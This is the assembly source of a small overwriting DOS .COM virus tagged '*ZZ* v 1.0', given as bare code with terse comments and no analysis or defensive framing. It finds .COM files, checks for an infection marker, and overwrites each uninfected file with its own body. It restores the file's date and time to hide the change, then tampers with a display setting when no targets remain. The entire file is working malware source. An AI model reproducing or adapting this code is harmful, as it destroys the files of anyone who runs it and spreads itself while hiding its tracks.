code  segment
      assume  cs:code, ds:code, es:code, ss:nothing

	org     0100h


start:  db      8Bh,0DBh   

	mov     ah,4Eh                  ;find a file               
	mov     cx,0000h                ;
	mov     dx,offset filemask      ;load searchmask, .COM     

loopy:  int     21h
				  
	jb      effect                  ;no files, do effect     
	call    infect                  

	jnz     exit  
	mov     ah,4Fh                  ;find next file
	jmp     short loopy
	      ;keep looping around

exit:   mov     ax,4C00h   
	int     21h            
effect: mov     ax,0040h                ;no files to infect       
	mov     es,ax                   ;slant the text on the screen
	mov     di,004Ah                                           
	mov     al,51h                                            
	stosb                                       
	int     20h                     ;and exit   

infect: mov     ax,3D02h                ;open host, r/w with handle
	mov     dx,009Eh                

	int     21h                     
	xchg    ax,bx                   ;exchange handle to ax
	mov     ah,3Fh                  ;read from file
	mov     cx,0002h                ;two bytes
	mov     dx,offset ID            ;put them in ID buffer

	int     21h                     
	cmp     Word Ptr ds:[016Dh],0DB8Bh
					;compare with virus ID
	pushf                           
	jz      close_file
	cwd                             
	mov     cx,dx                   ;
	mov     ax,4200h                ;reset file pointer
					;to beginning of file
	int     21h                                               
	mov     al,00h                  ;
	mov     ah,57h                  ;get file date/time

	int     21h                     ;
	push    cx                      ;store them
	push    dx                      ;
	mov     ah,40h                  ;write virus
	mov     cx,007Fh                ;to file
	mov     dx,0100h                ;start at beginning

	int     21h                     ;
	mov     al,01h                  ;restore file date/time
	pop     dx                      ;from the stack
	pop     cx                      ;
	mov     ah,57h                  ;
	int     21h                     ;
close_file: 

	mov     ah,3Eh                  ;close file
	int     21h                     ;
	popf                            ;
	ret                             ;exit     


ID:              dw      0000h                   
filemask:        db      "*.COM"         ;searchmask
		 db      00h                     
		 db      "*ZZ* v 1.0"   

code    ends
	end     start